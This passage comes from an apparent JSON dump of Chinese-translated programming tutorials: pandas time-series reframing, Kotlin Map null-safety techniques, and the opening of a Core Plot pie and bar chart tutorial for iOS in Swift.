i in range(n_in, 0, -1):\n    cols.append(df.shift(i))\n    names += [('var%d(t-%d)' % (j+1, i)) for j in range(n_vars)]\n  # 预测序列 (t, t+1, ... t+n)\n  for i in range(0, n_out):\n    cols.append(df.shift(-i))\n    if i == 0:\n      names += [('var%d(t)' % (j+1)) for j in range(n_vars)]\n    else:\n      names += [('var%d(t+%d)' % (j+1, i)) for j in range(n_vars)]\n  # 将所有列拼合\n  agg = concat(cols, axis=1)\n  agg.columns = names\n  # drop 掉包含 NaN 的行\n  if dropnan:\n    agg.dropna(inplace=True)\n  return agg\n\nvalues = [x for x in range(10)]\ndata = series_to_supervised(values, 2, 2)\nprint(data)\n```\n\n运行样例，可以看到将（*t-n*）作为输入变量、将（*t+n*）作为输出变量时，与将当前观察组（*t*）作为输出的不同之处。\n\n```\n   var1(t-2)  var1(t-1)  var1(t)  var1(t+1)\n2        0.0        1.0        2        3.0\n3        1.0        2.0        3        4.0\n4        2.0        3.0        4        5.0\n5        3.0        4.0        5        6.0\n6        4.0        5.0        6        7.0\n7        5.0        6.0        7        8.0\n8        6.0        7.0        8        9.0\n\n```\n\n## 多元预测\n\n还有一种重要的时间序列类型，叫做多元时间序列。\n\n这种情况我们会将多个不同的指标作为观察组，并预测它们中的一个或多个的值。\n\n例如，我们有两组时间序列观察组 obs1 和 obs2，希望预测它们或它们中的一者。\n\n我们同样可以调用 *series_to_supervised()*。例如：\n\n```\nfrom pandas import DataFrame\nfrom pandas import concat\n\ndef series_to_supervised(data, n_in=1, n_out=1, dropnan=True):\n  \"\"\"\n  函数用途：将时间序列转化为监督学习数据集。\n  参数说明：\n    data: 观察值序列，数据类型可以是 list 或者 NumPy array。\n    n_in: 作为输入值(X)的滞后组的数量。\n    n_out: 作为输出值(y)的观察组的数量。\n    dropnan: Boolean 值，确定是否将包含 NaN 的行移除。\n  返回值:\n    经过转换的用于监督学习的 Pandas DataFrame 序列。\n  \"\"\"\n  n_vars = 1 if type(data) is list else data.shape[1]\n  df = DataFrame(data)\n  cols, names = list(), list()\n  # 输入序列 (t-n, ... t-1)\n  for i in range(n_in, 0, -1):\n    cols.append(df.shift(i))\n    names += [('var%d(t-%d)' % (j+1, i)) for j in range(n_vars)]\n  # 预测序列 (t, t+1, ... t+n)\n  for i in range(0, n_out):\n    cols.append(df.shift(-i))\n    if i == 0:\n      names += [('var%d(t)' % (j+1)) for j in range(n_vars)]\n    else:\n      names += [('var%d(t+%d)' % (j+1, i)) for j in range(n_vars)]\n  # 将所有列拼合\n  agg = concat(cols, axis=1)\n  agg.columns = names\n  # drop 掉包含 NaN 的行\n  if dropnan:\n    agg.dropna(inplace=True)\n  return agg\n\n\nraw = DataFrame()\nraw['ob1'] = [x for x in range(10)]\nraw['ob2'] = [x for x in range(50, 60)]\nvalues = raw.values\ndata = series_to_supervised(values)\nprint(data)\n```\n\n运行样例，将会得到经过重新构造后的数据。数据显示了分别处于同一个时间的两组变量作为输入组以及输出组。\n\n与之前一样，根据问题的需要，可以将列分入 *X* 和 *y* 两个子集中，需要注意的是如果放入了 *var1* 做为观察组，那就要放入 *var2* 作为待预测组。\n\n```\n   var1(t-1)  var2(t-1)  var1(t)  var2(t)\n1        0.0       50.0        1       51\n2        1.0       51.0        2       52\n3        2.0       52.0        3       53\n4        3.0       53.0        4       54\n5        4.0       54.0        5       55\n6        5.0       55.0        6       56\n7        6.0       56.0        7       57\n8        7.0       57.0        8       58\n9        8.0       58.0        9       59\n```\n\n可以看到，通过上面这样给定输入序列和输出序列的数量生成的新的序列，可以帮助你轻松地完成多元时间序列的预测。\n\n例如，下面将把 1 作为输入列数量，将 2 作为输出列（预测列）数量，重新构造预测序列：\n\n```\nfrom pandas import DataFrame\nfrom pandas import concat\n\ndef series_to_supervised(data, n_in=1, n_out=1, dropnan=True):\n  \"\"\"\n  函数用途：将时间序列转化为监督学习数据集。\n  参数说明：\n    data: 观察值序列，数据类型可以是 list 或者 NumPy array。\n    n_in: 作为输入值(X)的滞后组的数量。\n    n_out: 作为输出值(y)的观察组的数量。\n    dropnan: Boolean 值，确定是否将包含 NaN 的行移除。\n  返回值:\n    经过转换的用于监督学习的 Pandas DataFrame 序列。\n  \"\"\"\n  n_vars = 1 if type(data) is list else data.shape[1]\n  df = DataFrame(data)\n  cols, names = list(), list()\n  # 输入序列 (t-n, ... t-1)\n  for i in range(n_in, 0, -1):\n    cols.append(df.shift(i))\n    names += [('var%d(t-%d)' % (j+1, i)) for j in range(n_vars)]\n  # 预测序列 (t, t+1, ... t+n)\n  for i in range(0, n_out):\n    cols.append(df.shift(-i))\n    if i == 0:\n      names += [('var%d(t)' % (j+1)) for j in range(n_vars)]\n    else:\n      names += [('var%d(t+%d)' % (j+1, i)) for j in range(n_vars)]\n  # 将所有列拼合\n  agg = concat(cols, axis=1)\n  agg.columns = names\n  # drop 掉包含 NaN 的行\n  if dropnan:\n    agg.dropna(inplace=True)\n  return agg\n\nraw = DataFrame()\nraw['ob1'] = [x for x in range(10)]\nraw['ob2'] = [x for x in range(50, 60)]\nvalues = raw.values\ndata = series_to_supervised(values, 1, 2)\nprint(data)\n```\n\n运行样例，将会展示重新构造的很大的 DataFrame。\n\n```\n   var1(t-1)  var2(t-1)  var1(t)  var2(t)  var1(t+1)  var2(t+1)\n1        0.0       50.0        1       51        2.0       52.0\n2        1.0       51.0        2       52        3.0       53.0\n3        2.0       52.0        3       53        4.0       54.0\n4        3.0       53.0        4       54        5.0       55.0\n5        4.0       54.0        5       55        6.0       56.0\n6        5.0       55.0        6       56        7.0       57.0\n7        6.0       56.0        7       57        8.0       58.0\n8        7.0       57.0        8       58        9.0       59.0\n```\n\n你可以用你自己的数据集多做几次实验，来试试哪种重构的效果更好。\n\n## 总结\n\n在这篇教程中，你已经了解了如何使用 Python 将时间序列数据集转换为监督学习问题。\n\n特别的，你了解了：\n\n- 有关 Pandas *shift()* 函数的知识，以及它如何自动将时间序列数据转化为监督学习数据集。\n- 如何将一元时间序列重构成单步或多步监督学习问题。\n- 如何将多元时间序列重构成单步或多步监督学习问题。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/convincing-the-kotlin-compiler-that-code-is-safe.md",
    "content": "> * 原文地址：[Convincing the Kotlin compiler that code is safe](http://blog.danlew.net/2017/06/14/convincing-the-kotlin-compiler-that-code-is-safe/)\n> * 原文作者：[Dan Lew](http://blog.danlew.net/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[wilsonandusa](https://github.com/wilsonandusa)\n> * 校对者：[mnikn](https://github.com/mnikn)，[zaraguo](https://github.com/zaraguo)\n\n Kotlin 这门语言最出色的特点之一就是它内部自带的空值安全系统。如果你在要求非空的情况下使用空值，那么编译器会就会发出警告。\n\n不过确保空值安全偶尔也会造成一些棘手的情况。你所**熟知**的毋庸置疑的代码也会布满空值的隐患...至少从编译器的角度来说是这样。\n\n## 操纵 Map\n\n来看一个例子。假设我们想将一个 `List<String>` 转化为 `Map<String, Int>`， 其中每一个 `Int` 代表对应 `String` 在数列中所出现的次数。我们可以这么写：\n\n    fun countInstances(list: List<String>): Map<String, Int> {\n      val map = mutableMapOf<String, Int>()\n      for (key in list) {\n        if (key !in map) {\n          map[key] = 0\n        }\n        map[key] = map[key] + 1\n      }\n      return map\n    }\n\n\n代码逻辑正确但却无法编译。 Kotlin 认为这行代码有问题：\n\n    map[key] = map[key] + 1\n\n\n\n `map[key]` 等同于 `map.get(key)` 。严格上来讲 **`get()` 会返回 `T?` 类型，因为你可以给它提供一个本身不存在的关键词**。即使**你**知道 `map[key]` 不是空值，**编译器**意识不到你在每次使用 `map[key]` 前都会将其初始化。\n\n我发现我在使用 `Map.get()` 时经常出现这个问题。我自己总是通过思考代码的逻辑来保障非空值的使用是否安全，但编译器无法对此进行核实。\n\n我可以依赖使用运算符`!!`，但它看上去就像是一种警告 - 你不能无视编译器所产生的错误。以下是其他几种可以解决这种问题的方法。\n\n## 空值检查\n\n不直接在地图上进行操作，而是通过先提取数值并存储于本地变量中再进行空值检查。\n\n    val oldValue = map[key]\n    if (oldValue != null) {\n      map[key] = oldValue + 1\n    }\n    else {\n      map[key] = 1\n    }\n\n虽然 `oldValue` 是可为空类型( `Int?`)，但它是一个本地变量，所以其他线程无法接触到它。这意味着编译器能确保在条件判断后这个变量的值不会再发生改变。结果就是 Kotlin 将其视为非空变量。\n\n空值检查可以用，但是这个方法较为繁琐。\n\n## Elvis运算符\n我们可以通过结合[ Elvis 运算符](https://kotlinlang.org/docs/reference/null-safety.html#elvis-operator)将空值检查的解法压缩为单行代码:\n\n    map[key] = (map[key] ?: 0) + 1\n\n\n Elvis 运算符会选择 `map[key]` 和`0`中第一个为非空值的那一个。这样能保证结果为整数类型，以便后期对其进行增值。\n\n## 绝地心术\n如果我们直接声明“这些都不是非空值”会发生什么呢？\n\n其实 Kotlint 专门为此提供了 `Map.getValue()`。这个函数会返回 `T` 类而不是 `T?` 类。因此， `map.getValue(key)` 具有 `map[key]` 所不具备的功能：\n\n    map[key] = map.getValue(key) + 1\n\n\n如果**本来**就没有值会发生什么？这种情况下，它会生成一个异常！ `getValue()` 本身长这样：\n\n    val value = map[key] ?: throw new NoSuchElementException()\n\n\n\n结合前文可得知， `getValue()` 和`!!`其实差不多。如果有空值存在它们都会生成异常，然而...\n\n## 默认值\n\n你可以通过使用 `Map.withDefault()` 来给你的 Map 提供默认值。使用这个方法的话， `Map.getValue()` 在找不到关键词的情况下会返回默认值：\n\n    fun countInstances(list: List<String>): Map<String, Int> {\n      val map = mutableMapOf<String, Int>().withDefault { 0 }\n      for (key in list) {\n        map[key] = map.getValue(key) + 1\n      }\n      return map\n    }\n\n\n\n在这种情况下， `Map.getValue()` **肯定**比`!!`好，因为它不可能产生异常。\n\n如果你不想为整个地图设置默认值，你也可以分情况使用默认值，比如用 `Map.getOrDefault()`:\n\n    map[key] = map.getOrDefault(key, 0) + 1\n\n\n除了使用数值作为默认值，你还可以使用 `Map.getOrElse()` 将函数作为默认值：\n\n    map[key] = map.getOrElse(key, { 0 }) + 1\n\n\n\n在这个例子里这么写很不明智，但如果默认值的计算很费时，这个方法会节省很多时间。（同时，由于 `getOrDefault()` 最近才添加到 Android 中，除非你所使用的最低开发版本为24，你还得用 Kotlin 的 `getOrElse()` 函数。）在这个例子中，设默认值和使用 Elvis 运算符都行。\n\n## 集合的变形\n\n除了遍历集合中的每一个元素，我们也可以将整个集合进行一次变形。变形能避免空值检查，因为我们所遍历的元素一定存在于集合中。\n\n Kotlin 的标准库中内置很多不错的函数正好能解决我们的问题：\n\n    fun countInstances(list: List<String>) = list.groupingBy { it }.eachCount()\n\n\n这里我们首先将 `List` 转化为[ `Grouping`](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin.collections/-grouping/)，然后我们用 `Grouping.eachCount()` 将其变形为 `Map<String, Int>`。\n\n集合层面的操作能力十分强大，经常会比遍历整个集合有用很多（主要是因为标准库会在背后进行优化）。\n\n## 哪个最好？\n\n我已经示范了几种能保证代码通过编译器的策略：\n1. 空值检查\n2.  Elvis 运算符\n3. 转化为非空值 (可能出现异常)\n4. 默认值\n5. 集合变形\n\n（我这么写并不意味着这就是所有的策略；不同情况可能有其它选择）\n\n一般要根据代码的上下文来判断哪种方法最适合。在我们的例子中， `groupingBy().eachCount()` 肯定最好。它简洁，有效，不难理解，而且完全避免了空值检查。\n\n---\n\n**感谢 [Jake Wharton ](https://twitter.com/JakeWharton)对这篇文章的帮助**\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/core-plot-tutorial-getting-started.md",
    "content": "> * 原文链接 : [Core Plot Tutorial: Getting Started](https://www.raywenderlich.com/131985/core-plot-tutorial-getting-started)\n* 原文作者 : [Attila Hegedüs](https://www.raywenderlich.com/u/cynicalme)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [llp0574](https://github.com/llp0574)\n* 校对者: [yifili09](https://github.com/yifili09),[cdpath](https://github.com/cdpath)\n\n# iOS 开源图形库 Core Plot 使用教程 \n\n\n![Alt 使用Core Plot绘制饼图，柱状图，散点图及更多！](http://ac-Myg6wSTV.clouddn.com/868c57b7dfa6957573cd.png)\n\n_注意_ ：本篇教程已被 Attila Hegedüs 更新，可适用于 iOS 9 和 Swift 2.2。原始教程出自教程组成员 Steve Baranski。\n\n如果你曾经想在自己的 app 中引入图表或图形，那么你应该已经考虑过下面两种选项：\n\n1.  _自己写。_ 通过使用 Core Graphics 或者 Quartz 这样的框架编写全部的绘制代码。然而，这显然要花费大量的功夫。\n2.  _买一个！_ 购买一个像 [ShinobiControls](http://www.shinobicontrols.com) 这样的商业型框架。这或许可以节省你的时间，但就要花钱啦。\n\n但是如果你不想花费时间和精力从零开始写(代码)，也不想花那么多钱，该怎么办呢？这时候第三个选项就派上用场了：使用开源库 [Core Plot](https://github.com/core-plot/core-plot)！\n\nCore Plot 是一个2D绘制库，适用于 iOS，Mac OS X 和 tvOS。它使用了像 Quartz 和 Core Animation 这样的苹果应用框架，同时有着全面的测试覆盖，而且是遵照BSD这个比较宽松的许可证进行发布的。\n\n在这个教程中，你将学习到如何使用 Core Plot 来创建饼图和柱状图，同时还会实现一些很酷的图表交互！\n\n开始之前，你需要安装好 _Xcode 7.3_ ，同时对 _Swift_ ， _Interface Builder_ 和 _storyboards_ 有所了解。如果你对这些主题知之甚少，那么你应该在继续阅读本教程之前先学习一下我们其他的一些[教程](https://www.raywenderlich.com/?page_id=2519)。\n\n本教程同时还使用了 CocoaPods 去安装一些第三方的依赖库。如果你从来没使用过 CocoaPods 的话，那你还应该阅读一下我们关于它的[教程](https://www.raywenderlich.com/97014/use-cocoapods-with-swift)。\n\n## 入门\n\n在本教程中，你将创建一个在一定时间间隔内显示货币汇率(情况)的 App。从[这里](https://cdn2.raywenderlich.com/wp-content/uploads/2016/05/SwiftRates_Starter-2.zip)下载本教程的入门项目，把它解压缩后打开 _SwiftRates.xcworkspace_ 。\n\n项目的关键类在 _App_ 这个文件夹和它的子文件夹下，它们包括了：\n\n*   _DataStore.swift_ 这是一个从 [Fixer.io](http://fixer.io/) 请求货币汇率数据的帮助类。\n*   _Rate.swift_ 这是一个模型，表示给定日期里的货币汇率。\n*   _Currency.swift_ 这是一个表示货币类型的模型。支持的货币类型定义在 _Resources/Currencies.plist_ 里。\n*   _MenuViewController.swift_ 这是一个app启动后展示的第一个视图控制器。它让用户选择一个货币作为基准然后再选两个对照。\n*   _HostViewController.swift_ 这是一个容器视图控制器，基于它的分段选项选中状态去控制展示 `PieChartViewController` 或者 `BarGraphViewController` 的内容。它还会去检查从 `DataStore` 请求来的汇率数据，因为它们也将在这个视图控制器里展现。\n*   _PieChartViewController.swift_ 这个控制器将用饼图的形式展示一个给定日期里的汇率。当然你首先要实现它！\n*   _BarGraphViewController.swift_ 这个控制器将以柱状图的形式展示几天的汇率。当你掌握绘制饼图的方法后，这个图简直小菜一碟！（看到我做的事情了吗？拜托，这真的有点意思！）;]\n\n构建并运行看看这个教程入门项目实际展示。\n\n![](http://ac-Myg6wSTV.clouddn.com/f9346c33b479bfc2a302.png)\n\n点选 _Get Rates_ 导航去到 `HostViewController` 控制的视图然后可以切换分段选项。这个 app 确实还没有实现太多功能...;]\n\n是时候用 Core Plot 开始真正的绘制了！\n\n### 安装 Core Plot\n\n首先你需要安装 Core Plot，最简单的方式是通过 [CocoaPods](https://cocoapods.org/) 安装。\n\n把下面这行代码添加进你的 _Podfile_ 文件， `pod 'SwiftDate'` 这行的后面：\n\n    pod 'CorePlot', '~> 2.1'\n\n打开 _Terminal_ （终端），`cd` 进入你的项目根目录，然后运行 `pod install`。\n\n安装完成后，构建项目。\n\n没报错吧？很好，现在你可以随便使用 Core Plot 啦，感谢 CocoaPods。:]\n\n如果你遇到了任何报错，可以尝试通过 `sudo gem install cocoapods` 更新一下 CocoaPods 然后再次运行 `pod install`。\n\n## 创建饼图\n\n打开 _PieChartViewController.swift_ 并添加下面这行引入：\n\n    import CorePlot\n\n接着，添加下面这个属性：\n\n\n\n    @IBOutlet weak var hostView: CPTGraphHostingView!\n\n\n\n`CPTGraphHostingView` 负责“托管”一个图表或图形。你可以把它想象成一个“图形容器”。\n\n然后，把下面这个类扩展添加到文件结尾的花括号之后：\n\n\n\n    extension PieChartViewController: CPTPieChartDataSource, CPTPieChartDelegate {\n\n      func numberOfRecordsForPlot(plot: CPTPlot) -> UInt {\n        return 0\n      }\n\n      func numberForPlot(plot: CPTPlot, field fieldEnum: UInt, recordIndex idx: UInt) -> AnyObject? {\n        return 0\n      }\n\n      func dataLabelForPlot(plot: CPTPlot, recordIndex idx: UInt) -> CPTLayer? {\n        return nil\n      }\n\n      func sliceFillForPieChart(pieChart: CPTPieChart, recordIndex idx: UInt) -> CPTFill? {\n        return nil\n      }\n\n      func legendTitleForPieChart(pieChart: CPTPieChart, recordIndex idx: UInt) -> String? {\n        return nil\n      }\n    }\n\n\n\n你将通过 `CPTPieChartDataSource` 为一个 Core Plot 图表提供数据，同时你会通过 `CPTPieChartDelegate` 得到用户交互的所有事件。随着教程递进，你将填满这些方法。\n\n### 建立图表托管视图\n\n继续往下，打开 _Main.storyboard_ 然后选择 `PieChartViewController` 窗口。\n\n在这个视图上拖出一个新的 `UIView`，然后把它的类更改成 `CPTGraphHostingView`，并将它连接到 `hostView`。\n\n对这个视图的每个方向添加约束让撑满父视图，并确认没有设置外边距的约束：\n\n![](https://cdn2.raywenderlich.com/wp-content/uploads/2016/04/swiftrates-05.png)\n\n设置一个你喜欢的背景色。我使用了透明度为92%的灰度颜色。\n\n现在回到 _PieChartViewController.swift_ ，在 `viewDidLoad()` 后面添加下面的方法：\n\n\n\n    override func viewDidLayoutSubviews() {\n      super.viewDidLayoutSubviews()\n      initPlot()\n    }\n\n    func initPlot() {\n      configureHostView()\n      configureGraph()\n      configureChart()\n      configureLegend()\n    }\n\n    func configureHostView() {\n    }\n\n    func configureGraph() {\n    }\n\n    func configureChart() {\n    }\n\n    func configureLegend() {\n    }\n\n\n\n这样子就正好在子视图渲染好后设置了绘制策略。这里是你最早为视图设置框架大小的地方，接下来你将需要配置绘制策略。\n\n`initPlot()` 里的每个方法都代表了一个设置绘制策略的阶段。这样子可以让代码保持其可维护性。\n\n把下面这行添加进 `configureHostView()`：\n\n\n\n    hostView.allowPinchScaling = false\n\n\n\n这行代码将对饼图禁用手势捏合缩放，它决定了托管视图对捏合手势是否会有反应。\n\n接下来你需要添加一个图表到`hostView`。添加下面的代码到 `configureGraph()` 里吧：\n\n\n\n    // 1 - Create and configure the graph\n    let graph = CPTXYGraph(frame: hostView.bounds)\n    hostView.hostedGraph = graph\n    graph.paddingLeft = 0.0\n    graph.paddingTop = 0.0\n    graph.paddingRight = 0.0\n    graph.paddingBottom = 0.0\n    graph.axisSet = nil\n\n    // 2 - Create text style\n    let textStyle: CPTMutableTextStyle = CPTMutableTextStyle()\n    textStyle.color = CPTColor.blackColor()\n    textStyle.fontName = \"HelveticaNeue-Bold\"\n    textStyle.fontSize = 16.0\n    textStyle.textAlignment = .Center\n\n    // 3 - Set graph title and text style\n    graph.title = \"\\(base.name) exchange rates\\n\\(rate.date)\"\n    graph.titleTextStyle = textStyle\n    graph.titlePlotAreaFrameAnchor = CPTRectAnchor.Top\n\n\n\n下面对每个部分的代码进行分解：\n\n1.  首先你创建了一个 `CPTXYGraph` 的实例并指定它作为 `hostView` 的 `hostedGraph`。这就将图表和托管视图联系起来了。\n\n    这个 `CPTGraph` 包括了你所看到的标准图表或图形的全部东西：边，标题，绘制相关数据，轴和图例。\n\n    默认情况下，`CPTXYGraph` 每个方向都有一个`20`的内边距。从我们这个项目来看这样并不好，所以你可以显式地将每个方向的内边距设置为`0`。\n\n2.  接下来就是通过创建和配置一个 `CPTMutableTextStyle` 实例来设置该图标标题的文本样式。\n3.  最后，就是给你刚刚创建的图表实例设置标题和其样式。同样你还需要指定标题锚点为该视图的上边界。\n\n构建并运行app，你应该就可以看到这个图表的标题展示在屏幕上了：\n\n![Core Plot Tutorial](http://ac-Myg6wSTV.clouddn.com/fd0411a63ef0affb512a.png)\n\n### 绘制饼图\n\n标题看起来不错，但你知道接下来什么会更棒吗？确确实实地看到饼图！\n\n将下面的代码添加进 `configureChart()`：\n\n\n\n    // 1 - Get a reference to the graph\n    let graph = hostView.hostedGraph!\n\n    // 2 - Create the chart\n    let pieChart = CPTPieChart()\n    pieChart.delegate = self\n    pieChart.dataSource = self\n    pieChart.pieRadius = (min(hostView.bounds.size.width, hostView.bounds.size.height) * 0.7) / 2\n    pieChart.identifier = graph.title\n    pieChart.startAngle = CGFloat(M_PI_4)\n    pieChart.sliceDirection = .Clockwise\n    pieChart.labelOffset = -0.6 * pieChart.pieRadius\n\n    // 3 - Configure border style\n    let borderStyle = CPTMutableLineStyle()\n    borderStyle.lineColor = CPTColor.whiteColor()\n    borderStyle.lineWidth = 2.0\n    pieChart.borderLineStyle = borderStyle\n\n    // 4 - Configure text style\n    let textStyle = CPTMutableTextStyle()\n    textStyle.color = CPTColor.whiteColor()\n    textStyle.textAlignment = .Center\n    pieChart.labelTextStyle = textStyle\n\n    // 3 - Add chart to graph\n    graph.addPlot(pieChart)\n\n\n\n下面看看这段代码做了什么：\n\n1.  首先获取了刚刚创建的图表的引用。\n2.  然后实例化一个 `CPTPieChart`，将它的代理和数据源设置成这个视图控制器本身，并配置它的一些外观属性。\n3.  接着配置这个图表的边框样式。\n4.  配置它的文本样式。\n5.  最后，将这个饼图添加进刚刚引用的图表里。\n\n如果现在重新构建并运行 app，你将看不到任何变化...因为你还需要实现这个饼图的代理和数据源。\n\n首先，用下面这段替代了现在的 `numberOfRecordsForPlot(_:)` 方法：\n\n\n\n    func numberOfRecordsForPlot(plot: CPTPlot) -> UInt {\n      return UInt(symbols.count) ?? 0\n    }\n\n\n\n这个方法决定了有多少块(部分)显示在饼状图上，它将为每一个标记显示一块(部分)。\n\n接下来，用下面这段替换掉 `numberForPlot(_:field:recordIndex:)` ：\n\n\n\n    func numberForPlot(plot: CPTPlot, field fieldEnum: UInt, recordIndex idx: UInt) -> AnyObject? {\n      let symbol = symbols[Int(idx)]\n      let currencyRate = rate.rates[symbol.name]!.floatValue\n      return 1.0 / currencyRate\n    }\n\n\n\n饼图会使用这个方法得到索引为 `recordIndex` 的货币符号的“总”值。\n\n你应该注意到这个值并 _不是_ 一个百分比值。取而代之的是，这个方法计算出了相对基准货币的货币汇率：返回的这个 `1.0 / currencyRate` 的值是\"一个单位的基准货币是多少价值的另外的对照货币\"的汇率。\n\n`CPTPieChart` 将查看计算每个分块的百分比值，这个值最终决定了这个分块占多大。\n\n下面，用下面这行替代掉 `dataLabelForPlot(_:recordIndex:)` ：\n\n\n\n    func dataLabelForPlot(plot: CPTPlot, recordIndex idx: UInt) -> CPTLayer? {\n      let value = rate.rates[symbols[Int(idx)].name]!.floatValue\n      let layer = CPTTextLayer(text: String(format: \"\\(symbols[Int(idx)].name)\\n%.2f\", value))\n      layer.textStyle = plot.labelTextStyle\n      return layer\n    }\n\n\n\n这个方法返回了饼图分片的标签。期望的返回类型 `CPTLayer` 和 `CALayer` 有点相似，但是 CPTLayer 更加抽象，在 Mac OS X 和 iOS 上都能用，还提供了额外的绘图细节供 Core Plot 使用。\n\n这里，创建并返回一个 `CPTLayer` 的子类 `CPTTextLayer` 去展示文本。\n\n最后，将下面这段代码替换掉 `sliceFillForPieChart(_:, recordIndex:)` 去添加分片的颜色：\n\n\n\n    func sliceFillForPieChart(pieChart: CPTPieChart, recordIndex idx: UInt) -> CPTFill? {\n      switch idx {\n      case 0:   return CPTFill(color: CPTColor(componentRed:0.92, green:0.28, blue:0.25, alpha:1.00))\n      case 1:   return CPTFill(color: CPTColor(componentRed:0.06, green:0.80, blue:0.48, alpha:1.00))\n      case 2:   return CPTFill(color: CPTColor(componentRed:0.22, green:0.33, blue:0.49, alpha:1.00))\n      default:  return nil\n      }\n    }\n\n\n\n构建并运行，你就将看到一个漂亮的饼图了：\n\n![Core Plot Tutorial](http://ac-Myg6wSTV.clouddn.com/17097b407bd6dbdcc299.png)\n\n### 等一下...图例呢！\n\n这个图表看上去相当不错，但是添加一个图例应该会让它更棒。接下来你将学习怎么添加一个图例到这个图表里。\n\n首先，用下面这段替换掉 `configureLegend()`：\n\n\n\n    func configureLegend() {\n      // 1 - Get graph instance\n      guard let graph = hostView.hostedGraph else { return }\n\n      // 2 - Create legend\n      let theLegend = CPTLegend(graph: graph)\n\n      // 3 - Configure legend\n      theLegend.numberOfColumns = 1\n      theLegend.fill = CPTFill(color: CPTColor.whiteColor())\n      let textStyle = CPTMutableTextStyle()\n      textStyle.fontSize = 18\n      theLegend.textStyle = textStyle\n\n      // 4 - Add legend to graph\n      graph.legend = theLegend\n      if view.bounds.width > view.bounds.height {\n        graph.legendAnchor = .Right\n        graph.legendDisplacement = CGPoint(x: -20, y: 0.0)\n\n      } else {\n        graph.legendAnchor = .BottomRight\n        graph.legendDisplacement = CGPoint(x: -8.0, y: 8.0)\n      }\n    }\n\n\n\n同样你也需要为每个分片提供图例的数据。\n\n要提供数据，就用下面这段替换掉 `legendTitleForPieChart(_:recordIndex:)`：\n\n\n\n    func legendTitleForPieChart(pieChart: CPTPieChart, recordIndex idx: UInt) -> String? {\n      return symbols[Int(idx)].name\n    }\n\n\n\n构建并运行，你就会得到一个“带图例的”图表啦。\n\n![Core Plot Tutorial](http://ac-Myg6wSTV.clouddn.com/98244c1f592db447f90a.png)\n\n## 创建柱状图\n\n看样子你已经是绘制饼图的专家啦，但是时候去搞一个柱状图了！\n\n打开 `BarGraphViewController` 并添加下面这行：\n\n    import CorePlot\n\n接着，再添加下面这行：\n\n\n\n    @IBOutlet var hostView: CPTGraphHostingView!\n\n\n\n其实就和饼图一样，托管视图将承载这个柱状图的展示。\n\n下一步，添加下面这些属性：\n\n\n\n    var plot1: CPTBarPlot!\n    var plot2: CPTBarPlot!\n    var plot3: CPTBarPlot!\n\n\n\n这里声明了三个 `CPTBarPlot` 类型的属性，它们就相当于展示在图表中的每种货币。\n\n注意到同样也有三个 `IBOutlet` 标签和三个 `IBAction` 方法已经被定义了，你都可以在 storyboard 上看到它们。\n\n最后，把下面这个类扩展添加到文件末尾：\n\n\n\n    extension BarGraphViewController: CPTBarPlotDataSource, CPTBarPlotDelegate {\n\n      func numberOfRecordsForPlot(plot: CPTPlot) -> UInt {\n        return 0\n      }\n\n      func numberForPlot(plot: CPTPlot, field fieldEnum: UInt, recordIndex idx: UInt) -> AnyObject? {\n        return 0\n      }\n\n      func barPlot(plot: CPTBarPlot, barWasSelectedAtRecordIndex idx: UInt, withEvent event: UIEvent) {\n\n      }\n    }\n\n\n\n这和创建饼图的过程太像了：通过 `CPTBarPlotDataSource` 为柱状图提供数据，通过 `CPTBarPlotDelegate` 捕捉用户交互事件。你只需要复制粘贴就好了。\n\n### 再次配置图表托管视图\n\n就像刚刚创建饼图时候一样，再次需要通过界面生成器把托管视图添加进去。\n\n回到 _Main.storyboard_ 并选择 `BarGraphViewController` 窗口。\n\n在视图上拖拽出一个新的 `UIView`，将它的类更改为 `CPTGraphHostingView` 并将其输出连接到控制器里的 `hostView`。\n\n通过 _Utilities\\Size Inspector_ （那个 _刻度尺_ 选项卡）将它的框架更新到下面那样：\n\n_X = 0, Y = 53, Width = 600, Height = 547_\n\n![](http://ww1.sinaimg.cn/large/a490147fjw1f5tbltfjfpj20dc07oaam.jpg)\n\n添加它和所有相邻元素的约束，确认没有设置 _外边距约束_ 。\n\n![](https://cdn5.raywenderlich.com/wp-content/uploads/2016/05/BarGraph_HostView_Constraints.png)\n\n最后，设置一个你喜欢的背景颜色。我再次用了92%透明度的灰度颜色。\n\n### 绘制柱状图\n\n既然 UI 已经通过上面的学习全部弄好了，是时候去绘制一个柱状图了。\n\n首先，回到 `BarGraphViewController`，你需要一对常量属性。把下面这段添加到其他属性之前：\n\n\n\n    let BarWidth = 0.25\n    let BarInitialX = 0.25\n\n\n\n你还需要一个帮助函数去计算最高的率值。把下面这段添加到 `updateLabels()`之后：\n\n\n\n    func highestRateValue() -> Double {\n      var maxRate = DBL_MIN\n      for rate in rates {\n        maxRate = max(maxRate, rate.maxRate().doubleValue)\n      }\n      return maxRate\n    }\n\n\n\n接着，把下面的方法添加到 `highestRateValue()` 之后：\n\n\n\n    override func viewDidLayoutSubviews() {\n      super.viewDidLayoutSubviews()\n      initPlot()\n    }\n\n    func initPlot() {\n      configureHostView()\n      configureGraph()\n      configureChart()\n      configureAxes()\n    }\n\n    func configureHostView() {\n    